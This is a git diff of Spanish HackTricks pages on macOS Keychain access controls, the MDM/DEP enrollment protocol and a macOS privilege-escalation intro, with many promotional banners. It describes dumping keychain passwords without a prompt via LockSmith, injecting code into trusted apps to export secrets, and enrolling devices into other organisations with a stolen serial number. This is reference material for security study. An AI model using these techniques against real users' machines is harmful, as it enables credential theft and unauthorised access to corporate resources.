* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir las tomas de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
|
@ -55,16 +56,16 @@ Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que
|
|||
|
||||
Además, la entrada podría contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.**
|
||||
|
||||
* Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** sin un **aviso**, la aplicación utilizada debe tener el **mismo teamid**.
|
||||
* Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** sin una **solicitud**, la aplicación utilizada debe tener el **mismo teamid**.
|
||||
* Si se especifica el **apple**, entonces la aplicación debe estar **firmada** por **Apple**.
|
||||
* Si se indica el **cdhash**, entonces la **aplicación** debe tener el **cdhash** específico.
|
||||
* Si se indica el **cdhash**, entonces la aplicación debe tener el **cdhash** específico.
|
||||
|
||||
### Creación de una Entrada en el Llavero
|
||||
|
||||
Cuando se crea una **nueva** **entrada** utilizando **`Keychain Access.app`**, se aplican las siguientes reglas:
|
||||
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* **Ninguna aplicación** puede exportar/desencriptar (sin solicitar permiso al usuario).
|
||||
* **Ninguna aplicación** puede exportar/desencriptar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la comprobación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`apple`**.
|
||||
|
@ -72,7 +73,7 @@ Cuando se crea una **nueva** **entrada** utilizando **`Keychain Access.app`**, s
|
|||
Cuando una **aplicación crea una entrada en el llavero**, las reglas son ligeramente diferentes:
|
||||
|
||||
* Todas las aplicaciones pueden encriptar.
|
||||
* Solo la **aplicación creadora** (o cualquier otra aplicación añadida explícitamente) puede exportar/desencriptar (sin solicitar permiso al usuario).
|
||||
* Solo la **aplicación creadora** (o cualquier otra aplicación añadida explícitamente) puede exportar/desencriptar (sin solicitar al usuario).
|
||||
* Todas las aplicaciones pueden ver la comprobación de integridad.
|
||||
* Ninguna aplicación puede cambiar las ACLs.
|
||||
* El **partitionID** se establece en **`teamid:[teamID aquí]`**.
|
||||
|
@ -93,7 +94,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
La **enumeración y volcado del llavero** de secretos que **no generará un aviso** se puede hacer con la herramienta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
La **enumeración y volcado de contraseñas** del llavero que **no generará un aviso** se puede hacer con la herramienta [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Listar y obtener **información** sobre cada entrada del llavero:
|
||||
|
@ -122,23 +123,23 @@ Exportar los datos:
|
|||
Y estos son los **requisitos** para poder **exportar un secreto sin un aviso**:
|
||||
|
||||
* Si hay **1 o más aplicaciones de confianza** listadas:
|
||||
* Necesitas las **autorizaciones apropiadas** (**`Nil`**, o ser **parte** de la lista permitida de aplicaciones en la autorización para acceder a la información secreta)
|
||||
* Necesitas que la firma de código coincida con **PartitionID**
|
||||
* Necesitas que la firma de código coincida con la de una **aplicación de confianza** (o ser miembro del grupo KeychainAccessGroup correcto)
|
||||
* Necesita las **autorizaciones** apropiadas (**`Nil`**, o ser **parte** de la lista permitida de aplicaciones en la autorización para acceder a la información secreta)
|
||||
* Necesita que la firma del código coincida con **PartitionID**
|
||||
* Necesita que la firma del código coincida con la de una **aplicación de confianza** (o ser miembro del grupo KeychainAccessGroup correcto)
|
||||
* Si **todas las aplicaciones son de confianza**:
|
||||
* Necesitas las **autorizaciones apropiadas**
|
||||
* Necesitas que la firma de código coincida con **PartitionID**
|
||||
* Necesita las **autorizaciones** apropiadas
|
||||
* Necesita que la firma del código coincida con **PartitionID**
|
||||
* Si no hay **PartitionID**, entonces esto no es necesario
|
||||
|
||||
{% hint style="danger" %}
|
||||
Por lo tanto, si hay **1 aplicación listada**, necesitas **inyectar código en esa aplicación**.
|
||||
|
||||
Si se indica **apple** en el **partitionID**, podrías acceder con **`osascript`** a cualquier cosa que confíe en todas las aplicaciones con apple en el partitionID. **`Python`** también podría ser utilizado para esto.
|
||||
Si se indica **apple** en el **PartitionID**, podrías acceder con **`osascript`** a cualquier cosa que confíe en todas las aplicaciones con apple en el PartitionID. **`Python`** también podría ser usado para esto.
|
||||
{% endhint %}
|
||||
|
||||
### Dos atributos adicionales
|
||||
|
||||
* **Invisible**: Es un indicador booleano para **ocultar** la entrada de la aplicación **UI** del llavero
|
||||
* **Invisible**: Es un indicador booleano para **ocultar** la entrada de la aplicación del llavero **UI**
|
||||
* **General**: Es para almacenar **metadatos** (por lo que NO ESTÁ CIFRADO)
|
||||
* Microsoft estaba almacenando en texto plano todos los tokens de actualización para acceder a puntos finales sensibles.
|
||||
|
||||
|
@ -150,7 +151,7 @@ Si se indica **apple** en el **partitionID**, podrías acceder con **`osascript`
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir las tomas de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
|
@ -158,16 +159,17 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS MDM
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Para aprender sobre los MDM de macOS, consulta:**
|
||||
|
||||
|
@ -23,7 +24,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
### **Visión general de MDM (Gestión de Dispositivos Móviles)**
|
||||
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) se utiliza para gestionar varios dispositivos de usuarios finales como teléfonos inteligentes, computadoras portátiles y tabletas. Especialmente para las plataformas de Apple (iOS, macOS, tvOS), implica un conjunto de características especializadas, APIs y prácticas. El funcionamiento de MDM depende de un servidor MDM compatible, que puede ser comercial u open-source, y debe admitir el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Los puntos clave incluyen:
|
||||
La [Gestión de Dispositivos Móviles](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) se utiliza para administrar varios dispositivos de usuarios finales como teléfonos inteligentes, computadoras portátiles y tabletas. Especialmente para las plataformas de Apple (iOS, macOS, tvOS), implica un conjunto de características, APIs y prácticas especializadas. El funcionamiento de MDM depende de un servidor MDM compatible, que puede ser comercial u open-source, y debe admitir el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Los puntos clave incluyen:
|
||||
|
||||
* Control centralizado sobre los dispositivos.
|
||||
* Dependencia de un servidor MDM que cumpla con el protocolo MDM.
|
||||
|
@ -34,7 +35,7 @@ Otras formas de apoyar a HackTricks:
|
|||
El [Programa de Inscripción de Dispositivos](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de la Gestión de Dispositivos Móviles (MDM) al facilitar la configuración sin intervención para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos directamente desde la caja, con mínima intervención del usuario o administrativa. Aspectos esenciales incluyen:
|
||||
|
||||
* Permite que los dispositivos se registren automáticamente con un servidor MDM predefinido al activarse inicialmente.
|
||||
* Beneficioso principalmente para dispositivos nuevos, pero también aplicable para dispositivos que se están reconfigurando.
|
||||
* Beneficioso principalmente para dispositivos nuevos, pero también aplicable a dispositivos que se están reconfigurando.
|
||||
* Facilita una configuración sencilla, haciendo que los dispositivos estén listos para su uso organizativo rápidamente.
|
||||
|
||||
### **Consideraciones de seguridad**
|
||||
|
@ -52,10 +53,10 @@ Es crucial tener en cuenta que la facilidad de inscripción proporcionada por DE
|
|||
|
||||
### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)?
|
||||
|
||||
* Forma oficial de Apple de **configurar/imponer la configuración del sistema.**
|
||||
* Forma oficial de **configurar/imponer la configuración del sistema de Apple.**
|
||||
* Formato de archivo que puede contener múltiples cargas útiles.
|
||||
* Basado en listas de propiedades (del tipo XML).
|
||||
* "pueden ser firmados y cifrados para validar su origen, garantizar su integridad y proteger su contenido." Conceptos básicos — Página 70, Guía de Seguridad de iOS, enero de 2018.
|
||||
* "pueden ser firmados y encriptados para validar su origen, garantizar su integridad y proteger su contenido." Conceptos básicos — Página 70, Guía de Seguridad de iOS, enero de 2018.
|
||||
|
||||
## Protocolos
|
||||
|
||||
|
@ -63,8 +64,8 @@ Es crucial tener en cuenta que la facilidad de inscripción proporcionada por DE
|
|||
|
||||
* Combinación de APNs (**servidores de Apple**) + API RESTful (**servidores de proveedores de MDM**)
|
||||
* La **comunicación** ocurre entre un **dispositivo** y un servidor asociado con un **producto de gestión de dispositivos**
|
||||
* Los **comandos** se entregan desde el MDM al dispositivo en **diccionarios codificados en plist**
|
||||
* Todo a través de **HTTPS**. Los servidores MDM pueden estar (y generalmente están) anclados.
|
||||
* Los **comandos** se entregan del MDM al dispositivo en **diccionarios codificados en plist**
|
||||
* Todo sobre **HTTPS**. Los servidores de MDM pueden estar (y generalmente están) anclados.
|
||||
* Apple otorga al proveedor de MDM un **certificado APNs** para autenticación
|
||||
|
||||
### DEP
|
||||
|
@ -88,7 +89,7 @@ Es crucial tener en cuenta que la facilidad de inscripción proporcionada por DE
|
|||
|
||||
## Número de serie
|
||||
|
||||
Los dispositivos Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **tres primeros dígitos representando la ubicación de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador** **único**, y los **últimos** **cuatro** dígitos representando el **número de modelo**.
|
||||
Los dispositivos Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **tres primeros dígitos representando la ubicación de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos** **cuatro** dígitos representando el **número de modelo**.
|
||||
|
||||
{% content-ref url="macos-serial-number.md" %}
|
||||
[macos-serial-number.md](macos-serial-number.md)
|
||||
|
@ -99,7 +100,7 @@ Los dispositivos Apple fabricados después de 2010 generalmente tienen números
|
|||
1. Creación de registro de dispositivo (Revendedor, Apple): Se crea el registro para el nuevo dispositivo
|
||||
2. Asignación de registro de dispositivo (Cliente): El dispositivo se asigna a un servidor MDM
|
||||
3. Sincronización de registro de dispositivo (Proveedor de MDM): El MDM sincroniza los registros de dispositivos y envía los perfiles DEP a Apple
|
||||
4. Registro DEP (Dispositivo): El dispositivo obtiene su perfil DEP
|
||||
4. Check-in DEP (Dispositivo): El dispositivo obtiene su perfil DEP
|
||||
5. Recuperación de perfil (Dispositivo)
|
||||
6. Instalación de perfil (Dispositivo) a. incl. cargas útiles de MDM, SCEP y CA raíz
|
||||
7. Emisión de comandos de MDM (Dispositivo)
|
||||
|
@ -124,17 +125,17 @@ o al ejecutar `sudo profiles show -type enrollment`
|
|||
|
||||
Sigue algunos pasos para obtener el Registro de Activación realizado por **`MCTeslaConfigurationFetcher`**. Este proceso utiliza una encriptación llamada **Absinthe**
|
||||
|
||||
1. Recuperar el **certificado**
|
||||
1. Recuperar **certificado**
|
||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
2. **Inicializar** el estado desde el certificado (**`NACInit`**)
|
||||
2. **Inicializar** estado desde el certificado (**`NACInit`**)
|
||||
1. Utiliza varios datos específicos del dispositivo (por ejemplo, **Número de Serie a través de `IOKit`**)
|
||||
3. Recuperar la **clave de sesión**
|
||||
3. Recuperar **clave de sesión**
|
||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
4. Establecer la sesión (**`NACKeyEstablishment`**)
|
||||
5. Realizar la solicitud
|
||||
1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) enviando los datos `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. La carga JSON está encriptada usando Absinthe (**`NACSign`**)
|
||||
3. Todas las solicitudes son a través de HTTPs, se utilizan certificados raíz integrados
|
||||
3. Todas las solicitudes son sobre HTTPs, se utilizan certificados raíz integrados
|
||||
|
||||
![](<../../../.gitbook/assets/image (566) (1).png>)
|
||||
|
||||
|
@ -143,86 +144,17 @@ La respuesta es un diccionario JSON con algunos datos importantes como:
|
|||
* **url**: URL del host del proveedor de MDM para el perfil de activación
|
||||
* **anchor-certs**: Array de certificados DER utilizados como anclas de confianza
|
||||
|
||||
### **Paso 5: Recuperación del Perfil**
|
||||
### **Paso 5: Recuperación de Perfil**
|
||||
|
||||
![](<../../../.gitbook/assets/image (444).png>)
|
||||
|
||||
* Solicitud enviada a la **URL proporcionada en el perfil DEP**.
|
||||
* Se utilizan **certificados de anclaje** para **evaluar la confianza** si se proporcionan.
|
||||
* Recordatorio: la propiedad **anchor\_certs** del perfil DEP
|
||||
* La **solicitud es un simple .plist** con identificación del dispositivo
|
||||
* **La solicitud es un simple .plist** con identificación del dispositivo
|
||||
* Ejemplos: **UDID, versión de SO**.
|
||||
* Firmado por CMS, codificado en DER
|
||||
* Firmado usando el **certificado de identidad del dispositivo (de APNS)**
|
||||
* La **cadena de certificados** incluye el **Apple iPhone Device CA** caducado
|
||||
* **La cadena de certificados** incluye el caducado **Apple iPhone Device CA**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
|
||||
### Paso 6: Instalación del Perfil
|
||||
|
||||
* Una vez recuperado, **el perfil se almacena en el sistema**
|
||||
* Este paso comienza automáticamente (si está en el **asistente de configuración**)
|
||||
* Impulsado por **`CPInstallActivationProfile`**
|
||||
* Implementado por mdmclient a través de XPC
|
||||
* LaunchDaemon (como root) o LaunchAgent (como usuario), dependiendo del contexto
|
||||
* Los perfiles de configuración tienen múltiples cargas útiles para instalar
|
||||
* El framework tiene una arquitectura basada en complementos para instalar perfiles
|
||||
* Cada tipo de carga útil está asociado con un complemento
|
||||
* Puede ser XPC (en el framework) o Cocoa clásico (en ManagedClient.app)
|
||||
* Ejemplo:
|
||||
* Las Cargas de Certificado utilizan CertificateService.xpc
|
||||
|
||||
Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM incluirá las siguientes cargas útiles:
|
||||
|
||||
* `com.apple.mdm`: para **inscribir** el dispositivo en MDM
|
||||
* `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo.
|
||||
* `com.apple.security.pem`: para **instalar certificados CA confiables** en el Llavero del Sistema del dispositivo.
|
||||
* Instalando la carga útil de MDM equivalente a **MDM check-in en la documentación**
|
||||
* La carga útil **contiene propiedades clave**:
|
||||
*
|
||||
* URL de Check-In de MDM (**`CheckInURL`**)
|
||||
* URL de Sondeo de Comandos de MDM (**`ServerURL`**) + tema de APNs para activarlo
|
||||
* Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`**
|
||||
* Implementado en **`mdmclient`**
|
||||
* La carga útil de MDM puede depender de otras cargas útiles
|
||||
* Permite **anclar las solicitudes a certificados específicos**:
|
||||
* Propiedad: **`CheckInURLPinningCertificateUUIDs`**
|
||||
* Propiedad: **`ServerURLPinningCertificateUUIDs`**
|
||||
* Entregado a través de la carga PEM
|
||||
* Permite atribuir al dispositivo un certificado de identidad:
|
||||
* Propiedad: IdentityCertificateUUID
|
||||
* Entregado a través de la carga SCEP
|
||||
|
||||
### **Paso 7: Escuchando los comandos de MDM**
|
||||
|
||||
Después de que se complete el check-in de MDM, el proveedor puede **emitir notificaciones push usando APNs**
|
||||
Al recibirlas, son manejadas por **`mdmclient`**
|
||||
Para sondear los comandos de MDM, se envía una solicitud a ServerURL
|
||||
Hace uso de la carga útil de MDM previamente instalada:
|
||||
**`ServerURLPinningCertificateUUIDs`** para anclar la solicitud
|
||||
**`IdentityCertificateUUID`** para el certificado de cliente TLS
|
||||
|
||||
## Ataques
|
||||
|
||||
### Inscripción de Dispositivos en Otras Organizaciones
|
||||
|
||||
Como se mencionó anteriormente, para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie perteneciente a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y más](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente:
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Seguridad y Escalada de Privilegios en macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Ideas de Hacking**\
|
||||
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
|
||||
**Perspectivas de Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de las plataformas
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
||||
|
||||
## MacOS Básico
|
||||
